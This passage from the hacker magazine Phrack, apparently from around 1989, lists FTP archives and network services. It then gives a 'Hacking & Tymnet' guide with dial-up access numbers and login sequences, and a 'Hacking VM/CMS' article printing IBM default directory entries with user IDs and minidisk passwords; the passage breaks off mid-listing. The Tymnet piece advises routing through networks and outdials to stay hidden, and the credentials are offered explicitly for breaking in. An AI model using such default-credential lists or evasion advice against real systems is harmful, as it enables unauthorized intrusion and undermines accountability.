unocss.unl.edu 129.93.1.11 alt.sex, motss utadnx.cc.utexas.edu 128.83.1.26 VMS sources (zetaps, laser, sxlps) uunet.uu.net 192.12.141.129 usenet archives, much more ux.acss.umn.edu 128.101.63.2 usenix 87 archives uxa.cso.uiuc.edu 128.174.2.1 mac, pcsig uxc.cso.uiuc.edu 128.174.5.50 Games, misc uxe.cso.uiuc.edu 128.174.5.54 amiga/Fish disks, PC‑SIG 1‑499 vax.ftp.com 128.127.25.100 FTP software, inc. venera.isi.edu 128.9.0.32 statspy (NNstat) venus.ycc.yale.edu 130.132.1.5 SBTeX

vgr.brl.mil 128.63.4.4 bsd ping + record route venera.isi.edu 128.9.0.32 GNU Chess watmath.waterloo.edu 129.97.128.1 Lots of stuff wsmr‑simtel20.army.mil 26.0.0.74 MS‑DOS, Unix, CP/M, Mac, lots!

tenex)

xanth.cs.odu.edu 128.82.8.1 c.srcs.{x, unix, misc, games,

amiga}, X10R4

zaphod.ncsa.uiuc.edu 128.174.20.50 NCSA Telnet source, binaries z.andrew.cmu.edu 128.2.30.8 bugfixar + div

MELVYL ONLINE CATALOG

~~~~~~~~~~~~~~~~~~~~~

This service is provided by the University of California schools. It is available via Telnet by connecting to MELVYL.UCOP.EDU (31.1.0.1). It basically provides information searching capabilities and provides literary sources where the "keyword" that you used may be found. It is relatively self‑explanatory.

NAMESERVERS

~~~~~~~~~~~

By connecting to port 101 on certain Internet systems, you have connected to the nameserver of that domain. To get a list of all of the subdomains of the main domain, type ALL. A sample system is VIOLET.BERKELEY.EDU but be forewarned that the output from typing ALL is *EXTREMELY* long on this particular system! (Example: Telnet VIOLET.BERKELEY.EDU 101).

PUBLIC ACCESS UNIX INFORMATION

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

For those of you that are still interested in more information on the Public Access Unix systems that were listed in Network Miscellany II featured in Phrack 29, here are a few more details. For specific information concerning the nodes discussed, refer to the previous article.

For those of you who are not local to a Public Access Unix system, Portal can be reached via PC‑Pursuit for $25 a month and a $10 access fee for "portal" (off‑peak). For information, contact John Little (jel@CUP.PORTAL.COM).

The Big Electric Cat (dasys1.UUCP) claims to be cheaper than most wellconnected public sites. They have special billing for "organizational" accounts if you're interested and their standard rate is $5 a month for an account (no time restrictions). The Big Electric Cat offers a superset of the USENET newsgroups as well as unrestricted mail (!), a simplified set of prompts for most system functions, games, and several other features

The World (WORLD.STD.COM) in Brookline, MA (Boston) is a Sun4/280 running Sun/OS 4.0.3 (Unix.) They offer electronic mail (to most anyplace), USENET, ClariNet and general Unix access. They dial UUNET and other sites frequently.

To create an account you just dial (617)739‑WRLD (9753) and login as user "new" (the login prompt gives instructions). They ask for some info (name, address, etc.) and a MasterCard or Visa account.

Rates for The World

~~~~~~~~~~~~~~~~~~~

All times are East Coast, USA.

INITIAL SIGN‑UP

$25.00 fee, applied to first month's charges.

BASIC ACCESS RATES

8AM‑6PM $8.00/hour (Monday thru Friday) 6PM‑12M $5.00/hour

12M‑8AM $2.50/hour

Weekends and holidays, 8AM‑12M, $5/hour.

Disk Quota

~~~~~~~~~~

A "byte" is equivalent to one character of storage.

A disk block is 1024 bytes.

First 512 disk blocks No Charge Additional Quota $0.01/block/month

approx. $10/MB/month)

Note that disk charges are based on your requested disk quota (system imposed limit on your usage) and not your actual usage. Disk quota charges are pro‑rated.

Electronic Mail

~~~~~~~~~~~~~~~

No charge for electronic mail between users of The World. No charge for first 512 blocks of mail per month. $0.01 per block of mail thereafter in any given month (approx. $10/MB/month).

CPU Usage

~~~~~~~~~

In general, they do not charge for these resources for typical accounts interested in electronic communications. Customers who wish to use their system for compute or memory intensive applications should contact their office for rates.

USENET

~~~~~~

Local usage, no charge. Network usage, no charge at this time.

Printing And Fax

~~~~~~~~~~~~~~~~

To be announced.

Upload or Download Software

~~~~~~~~~~~~~~~~~~~~~~~~~~~

No additional charge.

UNIVERSITY OF CALIFORNIA AT BERKELEY NETWORK INFORMATION

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This is a service which I, personally, have found to be extremely useful. If you need network information on virtually any system, connect to the University of California at Berkeley Network Information at JADE.BERKELEY.EDU Port 117 (example: Telnet JADE.BERKELEY.EDU 117). Once you are logged into the system automatically, it prompts you for a command or type "?" for a list of commands. The help menu is relatively easy to understand. You can get Bitnet network table listings or Internet numerical addresses or Internet mail exchanger listings or UUCP node information or UUCP node paths plus more. It's very useful in case you're having difficulty sending mail to a particular node from your own node or if you're trying to connect to a system via FTP or Telnet that your system doesn't recognize (i.e. get the numerical address from the server and FTP or Telnet to the numerical address).

Hacking & Tymnet

==Phrack Inc.==

Volume Three, Issue 30, File #3 of 12

[‑][‑] [‑][‑] [‑][‑] [‑][

[‑]

[‑] Hacking & Tymnet [‑]

[‑]

[‑] by [‑]

[‑]

[‑] Synthecide [‑]

[‑]

[‑][‑] [‑][‑] [‑][‑] [‑][

There are literally hundreds of systems connected to some of these larger networks, like Tymnet and Telenet. Navigation around these networks is very simple, and usually well explained in their on‑line documentation. Furthermore, some systems will actually tell you what is connected and how to get to it. In the case of Tymnet, after dialing in, at the log in prompt, type "information" for the on‑line documentation.

Accessing systems through networks is as simple as providing an address for it to connect to. The best way to learn about the addresses and how to do things on a network is to read "A Novice's Guide to Hacking (1989 Edition)" which was in Issue 22, File 4 of 12, Volume Two (December 23, 1988). Some points are re‑iterated here.

Once on a network, you provide the NUA (network user address) of the system you wish to connect to. NUAs are strings of 15 digits, broken up in to 3 fields, the NETWORK ADDRESS, the AREA PREFIX, and the DNIC. Each field has 5 digits, and are left padded with 0's where necessary.

The DNIC determines which network to take the address from. Tymnet, for example, is 03106. 03110 is Telenet.

The AREA PREFIX and NETWORK ADDRESS determine the connection point. By providing the address of the system that you wish to connect to, you will be accessing it through the net... as if you were calling it directly. Obviously, then, this provides one more level of security for access.

By connecting to an outdial, you can increase again the level of security you enjoy, by using the outdial in that area to connect to the remote system.

Addendum ‑‑ Accessing Tymnet Over Local Packet Networks

This is just another way to get that extra step and/or bypass other routes. This table is copied from Tymnet's on‑line information. As said earlier, it's a great resource, this on‑line information!

BELL ATLANTIC

NODE CITY STATE SPEED ACCESS NUMBER NTWK

‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

03526 DOVER DELAWARE 300/2400 302/734‑9465 @PDN 03526 GEORGETOWN DELAWARE 300/2400 302/856‑7055 @PDN 03526 NEWARK DELAWARE 300/2400 302/366‑0800 @PDN 03526 WILMINGTON DELAWARE 300/1200 302/428‑0030 @PDN 03526 WILMINGTON DELAWARE 2400 302/655‑1144 @PDN

06254 WASHINGTON DIST. OF COL. 300/1200 202/479‑7214 @PDN 06254 WASHINGTON (MIDTOWN) DIST. OF COL. 2400 202/785‑1688 @PDN 06254 WASHINGTON (DOWNTOWN) DIST. OF COL. 300/1200 202/393‑6003 @PDN 06254 WASHINGTON (MIDTOWN) DIST. OF COL. 300/1200 202/293‑4641 @PDN 06254 WASHINGTON DIST. OF COL. 300/1200 202/546‑5549 @PDN 06254 WASHINGTON DIST. OF COL. 300/1200 202/328‑0619 @PDN

06254 BETHESDA MARYLAND 300/1200 301/986‑9942 @PDN 06254 COLESVILLE MARYLAND 300/2400 301/989‑9324 @PDN 06254 HYATTSVILLE MARYLAND 300/1200 301/779‑9935 @PDN 06254 LAUREL MARYLAND 300/2400 301/490‑9971 @PDN 06254 ROCKVILLE MARYLAND 300/1200 301/340‑9903 @PDN 06254 SILVER SPRING MARYLAND 300/1200 301/495‑9911 @PDN

07771 BERNARDSVILLE NEW JERSEY 300/2400 201/766‑7138 @PDN 07771 CLINTON NEW JERSEY 300‑1200 201/730‑8693 @PDN 07771 DOVER NEW JERSEY 300/2400 201/361‑9211 @PDN 07771 EATONTOWN/RED BANK NEW JERSEY 300/2400 201/758‑8000 @PDN 07771 ELIZABETH NEW JERSEY 300/2400 201/289‑5100 @PDN 07771 ENGLEWOOD NEW JERSEY 300/2400 201/871‑3000 @PDN 07771 FREEHOLD NEW JERSEY 300/2400 201/780‑8890 @PDN 07771 HACKENSACK NEW JERSEY 300/2400 201/343‑9200 @PDN 07771 JERSEY CITY NEW JERSEY 300/2400 201/659‑3800 @PDN 07771 LIVINGSTON NEW JERSEY 300/2400 201/533‑0561 @PDN 07771 LONG BRANCH/RED BANK NEW JERSEY 300/2400 201/758‑8000 @PDN 07771 MADISON NEW JERSEY 300/2400 201/593‑0004 @PDN 07771 METUCHEN NEW JERSEY 300/2400 201/906‑9500 @PDN 07771 MIDDLETOWN NEW JERSEY 300/2400 201/957‑9000 @PDN 07771 MORRISTOWN NEW JERSEY 300/2400 201/455‑0437 @PDN 07771 NEWARK NEW JERSEY 300/2400 201/623‑0083 @PDN 07771 NEW BRUNSWICK NEW JERSEY 300/2400 201/247‑2700 @PDN 07771 NEW FOUNDLAND NEW JERSEY 300/2400 201/697‑9380 @PDN 07771 PASSAIC NEW JERSEY 300/2400 201/473‑6200 @PDN 07771 PATERSON NEW JERSEY 300/2400 201/345‑7700 @PDN 07771 PHILLIPSBURG NEW JERSEY 300/2400 201/454‑9270 @PDN 07771 POMPTON LAKES NEW JERSEY 300/2400 201/835‑8400 @PDN 07771 RED BANK NEW JERSEY 300/2400 201/758‑8000 @PDN 07771 RIDGEWOOD NEW JERSEY 300/2400 201/445‑4800 @PDN 07771 SOMERVILLE NEW JERSEY 300/2400 201/218‑1200 @PDN 07771 SOUTH RIVER NEW JERSEY 300/2400 201/390‑9100 @PDN 07771 SPRING LAKE NEW JERSEY 300/2400 201/974‑0850 @PDN 07771 TOMS RIVER NEW JERSEY 300/2400 201/286‑3800 @PDN 07771 WASHINGTON NEW JERSEY 300/2400 201/689‑6894 @PDN 07771 WAYNE/PATERSON NEW JERSEY 300/2400 201/345‑7700 @PDN

03526 ALLENTOWN PENNSYLVANIA 300/1200 215/435‑0266 @PDN 11301 ALTOONA PENNSYLVANIA 300/1200 814/946‑8639 @PDN 11301 ALTOONA PENNSYLVANIA 2400 814/949‑0505 @PDN 03526 AMBLER PENNSYLVANIA 300/1200 215/283‑2170 @PDN 10672 AMBRIDGE PENNSYLVANIA 300/1200 412/266‑9610 @PDN 10672 CARNEGIE PENNSYLVANIA 300/1200 412/276‑1882 @PDN 10672 CHARLEROI PENNSYLVANIA 300/1200 412/483‑9100 @PDN 03526 CHESTER HEIGHTS PENNSYLVANIA 300/1200 215/358‑0820 @PDN 03526 COATESVILLE PENNSYLVANIA 300/1200 215/383‑7212 @PDN 10672 CONNELLSVILLE PENNSYLVANIA 300/1200 412/628‑7560 @PDN 03526 DOWNINGTON/COATES. PENNSYLVANIA 300/1200 215/383‑7212 @PDN 03562 DOYLESTOWN PENNSYLVANIA 300/1200 215/340‑0052 @PDN 03562 GERMANTOWN PENNSYLVANIA 300/1200 215‑843‑4075 @PDN 10672 GLENSHAW PENNSYLVANIA 300/1200 412/487‑6868 @PDN 10672 GREENSBURG PENNSYLVANIA 300/1200 412/836‑7840 @PDN 11301 HARRISBURG PENNSYLVANIA 300/1200 717/236‑3274 @PDN 11301 HARRISBURG PENNSYLVANIA 2400 717/238‑0450 @PDN 10672 INDIANA PENNSYLVANIA 300/1200 412/465‑7210 @PDN 03526 KING OF PRUSSIA PENNSYLVANIA 300/1200 215/270‑2970 @PDN 03526 KIRKLYN PENNSYLVANIA 300/1200 215/789‑5650 @PDN 03526 LANSDOWNE PENNSYLVANIA 300/1200 215/626‑9001 @PDN 10672 LATROBE PENNSYLVANIA 300/1200 412/537‑0340 @PDN 11301 LEMOYNE/HARRISBURG PENNSYLVANIA 300/1200 717/236‑3274 @PDN 10672 MCKEESPORT PENNSYLVANIA 300/1200 412/673‑6200 @PDN 10672 NEW CASTLE PENNSYLVANIA 300/1200 412/658‑5982 @PDN 10672 NEW KENSINGTON PENNSYLVANIA 300/1200 412/337‑0510 @PDN 03526 NORRISTOWN PENNSYLVANIA 300/1200 215/270‑2970 @PDN 03526 PAOLI PENNSYLVANIA 300/1200 215/648‑0010 @PDN 03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/923‑7792 @PDN 03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/557‑0659 @PDN 03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/545‑7886 @PDN 03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/677‑0321 @PDN 03562 PHILADELPHIA PENNSYLVANIA 2400 215/625‑0770 @PDN 10672 PITTSBURGH PENNSYLVANIA 300/1200 412/281‑8950 @PDN 10672 PITTSBURGH PENNSYLVANIA 300/1200 412‑687‑4131 @PDN 10672 PITTSBURGH PENNSYLVANIA 2400 412/261‑9732 @PDN 10672 POTTSTOWN PENNSYLVANIA 300/1200 215/327‑8032 @PDN 03526 QUAKERTOWN PENNSYLVANIA 300/1200 215/538‑7032 @PDN 03526 READING PENNSYLVANIA 300/1200 215/375‑7570 @PDN 10672 ROCHESTER PENNSYLVANIA 300/1200 412/728‑9770 @PDN 03526 SCRANTON PENNSYLVANIA 300/1200 717/348‑1123 @PDN 03526 SCRANTON PENNSYLVANIA 2400 717/341‑1860 @PDN 10672 SHARON PENNSYLVANIA 300/1200 412/342‑1681 @PDN 03526 TULLYTOWN PENNSYLVANIA 300/1200 215/547‑3300 @PDN 10672 UNIONTOWN PENNSYLVANIA 300/1200 412/437‑5640 @PDN 03562 VALLEY FORGE PENNSYLVANIA 300/1200 215/270‑2970 @PDN 10672 WASHINGTON PENNSYLVANIA 300/1200 412/223‑9090 @PDN 03526 WAYNE PENNSYLVANIA 300/1200 215/341‑9605 @PDN 10672 WILKINSBURG PENNSYLVANIA 300/1200 412/241‑1006 @PDN

06254 ALEXANDRIA VIRGINIA 300/1200 703/683‑6710 @PDN 06254 ARLINGTON VIRGINIA 300/1200 703/524‑8961 @PDN 06254 FAIRFAX VIRGINIA 300/1200 703/385‑1343 @PDN 06254 MCLEAN VIRGINIA 300/1200 703/848‑2941 @PDN

@PDN BELL ATLANTIC ‑ NETWORK NAME IS PUBLIC DATA NETWORK (PDN)

(CONNECT MESSAGE)

. _. _. _< _C _R _> _ (SYNCHRONIZES DATA SPEEDS)

WELCOME TO THE BPA/DST PDN

*. _T _ _< _C _R _> _ (TYMNET ADDRESS)

131069 (ADDRESS CONFIRMATION ‑ TYMNET DNIC) COM (CONFIRMATION OF CALL SET‑UP)

‑GWY 0XXXX‑ TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES)

BELL SOUTH

NODE CITY STATE DENSITY ACCESS NUMBER MODEM

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

10207 ATLANTA GEORGIA 300/1200 404/261‑4633 @PLSK 10207 ATHENS GEORGIA 300/1200 404/354‑0614 @PLSK 10207 COLUMBUS GEORGIA 300/1200 404/324‑5771 @PLSK 10207 ROME GEORGIA 300/1200 404/234/7542 @PLSK

@PLSK BELLSOUTH ‑ NETWORK NAME IS PULSELINK

(CONNECT MESSAGE)

. _. _. _ _< _C _R _> _ (SYNCHRONIZES DATA SPEEDS)

(DOES NOT ECHO TO THE TERMINAL)

CONNECTED

PULSELINK

1 _3 _1 _0 _6 _ (TYMNET ADDRESS)

(DOES NOT ECHO TO THE TERMINAL)

PULSELINK: CALL CONNECTED TO 1 3106

‑GWY 0XXXX‑ TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES)

PACIFIC BELL

NODE CITY STATE DENSITY ACCESS NUMBER NTWK

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

03306 BERKELEY CALIFORNIA 300/1200 415‑548‑2121 @PPS 06272 EL SEGUNDO CALIFORNIA 300/1200 213‑640‑8548 @PPS 06272 FULLERTON CALIFORNIA 300/1200 714‑441‑2777 @PPS 06272 INGLEWOOD CALIFORNIA 300/1200 213‑216‑7667 @PPS 06272 LOS ANGELES(DOWNTOWN) CALIFORNIA 300/1200 213‑687‑3727 @PPS 06272 LOS ANGELES CALIFORNIA 300/1200 213‑480‑1677 @PPS 03306 MOUNTAIN VIEW CALIFORNIA 300/1200 415‑960‑3363 @PPS 03306 OAKLAND CALIFORNIA 300/1200 415‑893‑9889 @PPS 03306 PALO ALTO CALIFORNIA 300/1200 415‑325‑4666 @PPS 06272 PASADENA CALIFORNIA 300/1200 818‑356‑0780 @PPS 03306 SAN FRANCISCO CALIFORNIA 300/1200 415‑543‑8275 @PPS 03306 SAN FRANCISCO CALIFORNIA 300/1200 415‑626‑5380 @PPS 03306 SAN FRANCISCO CALIFORNIA 300/1200 415‑362‑2280 @PPS 03306 SAN JOSE CALIFORNIA 300/1200 408‑920‑0888 @PPS 06272 SANTA ANNA CALIFORNIA 300/1200 714‑972‑9844 @PPS 06272 VAN NUYS CALIFORNIA 300/1200 818‑780‑1066 @PPS

@PPS PACIFIC BELL ‑ NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS)

(CONNECT MESSAGE)

. _. _. _< _C _R _ (SYNCHRONIZES DATA SPEEDS)>

(DOES NOT ECHO TO THE TERMINAL)

ONLINE 1200

WELCOME TO PPS: 415‑XXX‑XXXX

1 _3 _1 _0 _6 _9 _ (TYMNET ADDRESS)

(DOES NOT ECHO UNTIL TYMNET RESPONDS)

‑GWY 0XXXX‑ TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES)

SOUTHWESTERN BELL

NODE CITY STATE DENSITY ACCESS NUMBERS NWRK

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

05443 KANSAS CITY KANSAS 300/1200 316/225‑9951 @MRLK 05443 HAYS KANSAS 300/1200 913/625‑8100 @MRLK 05443 HUTCHINSON KANSAS 300/1200 316/669‑1052 @MRLK 05443 LAWRENCE KANSAS 300/1200 913/841‑5580 @MRLK 05443 MANHATTAN KANSAS 300/1200 913/539‑9291 @MRLK 05443 PARSONS KANSAS 300/1200 316/421‑0620 @MRLK 05443 SALINA KANSAS 300/1200 913/825‑4547 @MRLK 05443 TOPEKA KANSAS 300/1200 913/235‑1909 @MRLK 05443 WICHITA KANSAS 300/1200 316/269‑1996 @MRLK

04766 BRIDGETON/ST. LOUIS MISSOURI 300/1200 314/622‑0900 @MRLK 04766 ST. LOUIS MISSOURI 300/1200 314/622‑0900 @MRLK

06510 ADA OKLAHOMA 300/1200 405/436‑0252 @MRLK 06510 ALTUS OKLAHOMA 300/1200 405/477‑0321 @MRLK 06510 ALVA OKLAHOMA 300/1200 405/327‑1441 @MRLK 06510 ARDMORE OKLAHOMA 300/1200 405/223‑8086 @MRLK 03167 BARTLESVILLE OKLAHOMA 300/1200 918/336‑6901 @MRLK 06510 CLINTON OKLAHOMA 300/1200 405/323‑8102 @MRLK 06510 DURANT OKLAHOMA 300/1200 405/924‑2680 @MRLK 06510 ENID OKLAHOMA 300/1200 405/242‑8221 @MRLK 06510 LAWTON OKLAHOMA 300/1200 405/248‑8772 @MRLK 03167 MCALESTER OKLAHOMA 300/1200 918/426‑0900 @MRLK 03167 MIAMI OKLAHOMA 300/1200 918/540‑1551 @MRLK 03167 MUSKOGEE OKLAHOMA 300/1200 918/683‑1114 @MRLK 06510 OKLAHOMA CITY OKLAHOMA 300/1200 405/236‑0660 @MRLK 06510 PONCA CITY OKLAHOMA 300/1200 405/762‑9926 @MRLK 03167 SALLISAW OKLAHOMA 300/1200 918/775‑7713 @MRLK 06510 SHAWNEE OKLAHOMA 300/1200 405/273‑0053 @MRLK 06510 STILLWATER OKLAHOMA 300/1200 405/377‑5500 @MRLK 03167 TULSA OKLAHOMA 300/1200 918/583‑6606 @MRLK 06510 WOODWARD OKLAHOMA 300/1200 405/256‑9947 @MRLK

@MRLK ‑ SOUTHWESTERN BELL TELEPHONE‑ NETWORK NAME IS MICROLINK II(R)

(CONNECT MESSAGE)

(PLEASE TYPE YOUR TERMINAL IDENTIFIER)

A _ (YOUR TERMINAL IDENTIFIER)

WELCOME TO MICROLINK II

‑XXXX:01‑030‑

PLEASE LOG IN:

.T < _C _R _> _ (USERNAME TO ACCESS TYMNET)

HOST: CALL CONNECTED

‑GWY 0XXXX‑ TYMNET: PLEASE LOG IN:

SOUTHERN NEW ENGLAND

NODE CITY STATE DENSITY ACCESS NUMBERS NWRK

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑

02727 BRIDGEPORT CONNECTICUT 300/2400 203/366‑6972 @CONNNET 02727 BRISTOL CONNECTICUT 300/2400 203/589‑5100 @CONNNET 02727 CANAAN CONNECTICUT 300/2400 203/824‑5103 @CONNNET 02727 CLINTON CONNECTICUT 300/2400 203/669‑4243 @CONNNET 02727 DANBURY CONNECTICUT 300/2400 203/743‑2906 @CONNNET 02727 DANIELSON CONNECTICUT 300/2400 203/779‑1880 @CONNNET 02727 HARTFORD/MIDDLETOWN CONNECTICUT 300/2400 203/724‑6219 @CONNNET 02727 MERIDEN CONNECTICUT 300/2400 203/237‑3460 @CONNNET 02727 NEW HAVEN CONNECTICUT 300/2400 203/776‑1142 @CONNNET 02727 NEW LONDON CONNECTICUT 300/2400 203/443‑0884 @CONNNET 02727 NEW MILFORD CONNECTICUT 300/2400 203/355‑0764 @CONNNET 02727 NORWALK CONNECTICUT 300/2400 203/866‑5305 @CONNNET 02727 OLD GREDDWICH CONNNETICUT 300/2400 203/637‑8872 @CONNNET 02727 OLD SAYBROOK CONNECTICUT 300/2400 203/388‑0778 @CONNNET 02727 SEYMOUR CONNECTICUT 300/2400 203/881‑1455 @CONNNET 02727 STAMFORD CONNECTICUT 300/2400 203/324‑9701 @CONNNET 02727 STORRS CONNECTICUT 300/2400 203/429‑4243 @CONNNET 02727 TORRINGTON CONNECTICUT 300/2400 203/482‑9849 @CONNNET 02727 WATERBURY CONNECTICUT 300/2400 203/597‑0064 @CONNNET 02727 WILLIMANTIC CONNECTICUT 300/2400 203/456‑4552 @CONNNET 02727 WINDSOR CONNECTICUT 300/2400 203/688‑9330 @CONNNET 02727 WINDSOR LCKS/ENFIELD CONNECTICUT 300/2400 203/623‑9804 @CONNNET

@CONNNET ‑ SOUTHERN NEW ENGLAND TELEPHONE ‑ NETWORK NAME IN CONNNET

(CONNECT MESSAGE)

H_ H_ <_ C_ R_> (SYNCHRONIZES DATA SPEEDS) (DOES NOT ECHO TO THE TERMINAL) CONNNET

._ T_ <_ C_ R_>_ (MUST BE CAPITAL LETTERS)

26‑SEP‑88 18:33 (DATA)

031069 (ADDRESS CONFIRMATION)

COM (CONFIRMATION OF CALL SET‑UP)

‑GWY OXXXX‑TYMNET: PLEASE LOG IN:

On a side note, the recent book The Cuckoo's Egg provides some interesting information (in the form of a story, however) on a Tymnet hacker. Remember that he was into BIG things, and hence he was cracked down upon. If you keep a low profile, networks should provide a good access method.

If you can find a system that is connected to the Internet that you can get on from Tymnet, you are doing well.

Hacking VM/CMS

==Phrack Inc.==

Volume Three, Issue 30, File #4 of 12

/==================

|

| Hacking VM/CMS |

|

|

| by Goe |

|

\==================

This file written by Goe (my nickname). Any comments or criticisms or corrections are welcomed. Anyone with a good knowledge can modify this.

The article's topic is the IBM VM/SP running CMS and using DIRMAINT. I do not know if it works in MVS/TSO or VSE.

The first table contains the original default IDs & passwords from IBM Corp.

The second table contains those default IDs & passwords that IBM customized for its customer.

========================================

****************************************

* 3380 SYSTEM DIRECTORY *

****************************************

*

* The addresses 123, 124, and 125 are virtual ad‑ *

* dresses. The address 123 is critical since it is *

* used in DMKSYS, the directory, and the service en‑ *

* vironments of the Interactive Productivity Facil‑ *

* ity. Do not change this address. If you still want *

* to change it, remember it must be changed in *

* DMKSYS, all service environments, the 'DIRECTORY' *

* statement below, and in the 'MDISK' statements *

* found under the userid 'MAINT'. *

*

* NOTE: Remember these are only virtual addresses *

* not real addresses, so there is no need to change *

* them to match your hardware addresses. More in‑ *

* formation is contained in the system Installation *

* Guide.

*

****************************************

*

DIRECTORY 123 3380 VMSRES

*

****************************************

* 3380 SYSTEM RESERVED AREAS (NOT FOR MINIDISKS) *

****************************************

*

USER $ALLOC$ NOLOG

MDISK A01 3380 000 001 VMSRES R

MDISK B01 3380 000 001 VMPK01 R

MDISK E01 3380 000 001 VMPK04 R

MDISK F11 3380 000 001 PROFPK R

MDISK F21 3380 000 001 SQLPK R

*

USER $TEMP$ NOLOG

MDISK A09 3380 272 228 VMSRES R

MDISK D09 3380 277 258 VMPK01

*

USER $TDISK$ NOLOG

MDISK A08 3380 585 091 VMSRES R

*

USER $CPNUC$ NOLOG

MDISK A02 3380 001 005 VMSRES R

*

USER $DIRECT$ NOLOG

MDISK A03 3380 500 002 VMSRES R

*

USER $SAVSYS$ NOLOG

MDISK A04 3380 006 011 VMSRES R

MDISK B04 3380 012 056 VMPK01 R

*

USER $SYSERR$ NOLOG

MDISK A06 3380 019 002 VMSRES R

*

USER $SYSCKP$ NOLOG

MDISK A05 3380 271 001 VMSRES R

*

USER $SYSWRM$ NOLOG

MDISK A07 3380 017 002 VMSRES R

*

****************************************

* SYSTEM RELATED USERIDS *

****************************************

*

USER AUTOLOG1 NOLOG 512K 1M ABCDEG

ACCOUNT 2 SYSTEM

IPL CMS PARM AUTOCR

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

MDISK 191 3380 093 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG

*

USER CMSBATCH NOLOG 1M 2M G

ACCOUNT 3 SYSTEM

OPTION ACCT

IPL CMS PARM AUTOCR

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

MDISK 195 3380 068 002 VMPK01 MR RBATCH WBATCH MBATCH

*

USER CMSUSER NOLOG 1M 3M G

ACCOUNT 101 USER01

IPL CMS

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

MDISK 191 3380 089 003 VMPK01 MR RCMS WCMS MCMS

*

USER EREP NOLOG 768K 2M FG

ACCOUNT EREP IBMCE

IPL CMS

CONSOLE 01F 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

LINK MAINT 201 192 RR

MDISK 191 3380 027 001 VMSRES WR READ WRITE

*

USER GCS NOLOG 5M 6M G

ACCOUNT GCS RECVM

OPTION ECMODE DIAG98

IPL GCS PARM AUTOLOG

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 595 595 RR

LINK MAINT 59E 59E RR

MDISK 191 3380 677 005 VMPK01 MR RGCS WGCS MGCS

*

USER IVPM1 NOLOG 3M 16M G

ACCOUNT ACT4 IVPM1

CONSOLE 009 3210

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 193 193 RR

LINK MAINT 194 194 RR

LINK MAINT 19D 19D RR

MDISK 191 3380 883 001 VMSRES WR READ WRITE

*

USER IVPM2 NOLOG 3M 4M G

ACCOUNT ACT5 IVPM2

CONSOLE 009 3210

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 193 193 RR

LINK MAINT 194 194 RR

LINK MAINT 19D 19D RR

MDISK 191 3380 884 001 VMSRES WR READ WRITE

*

USER MAINT CPCMS 16M 16M ABCDEFG

ACCOUNT 1 SYSPROG

OPTION ECMODE DIAG98

IPL 190

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

MDISK 123 3380 000 885 VMSRES MW RSYSRES WSYSRES MSYSRES

MDISK 124 3380 000 885 VMPK01 MW RSYSRES WSYSRES MSYSRES

MDISK 127 3380 000 885 VMPK04 MW RSYSRES WSYSRES MSYSRES

MDISK 129 3380 000 885 PROFPK MW RSYSRES WSYSRES MSYSRES

MDISK 130 3380 000 885 SQLPK MW RSYSRES WSYSRES MSYSRES

MDISK 19D 3380 229 048 VMPK01 MW ALL WMAINT MMAINT

MDISK 190 3380 502 037 VMSRES MW ALL WMAINT MMAINT

MDISK 191 3380 144 010 VMSRES MW RMAINT WMAINT MMAINT

MDISK 193 3380 117 027 VMSRES MW RMAINT WMAINT MMAINT

MDISK 194 3380 044 027 VMSRES MW RMAINT WMAINT MMAINT

MDISK 196 3380 028 016 VMSRES MW RMAINT WMAINT MMAINT

MDISK 201 3380 767 023 VMSRES MW RMAINT WMAINT MMAINT

MDISK 293 3380 790 027 VMSRES MW RCMSAUX WCMSAUX MCMSAUX

MDISK 294 3380 862 021 VMSRES MW RCPAUX WCPAUX MCPAUX

MDISK 295 3380 211 014 VMSRES MW RUSRMOD WUSRMOD MUSRMOD

MDISK 296 3380 070 019 VMPK01 MW RCPAUX WCPAUX MCPAUX

MDISK 319 3380 021 006 VMSRES MW ALL WMAINT MMAINT

MDISK 393 3380 353 063 VMPK04 WR RMAINT WMAINT

MDISK 394 3380 416 076 VMPK04 WR RMAINT WMAINT

MDISK 396 3380 499 034 VMPK04 WR RMAINT WMAINT
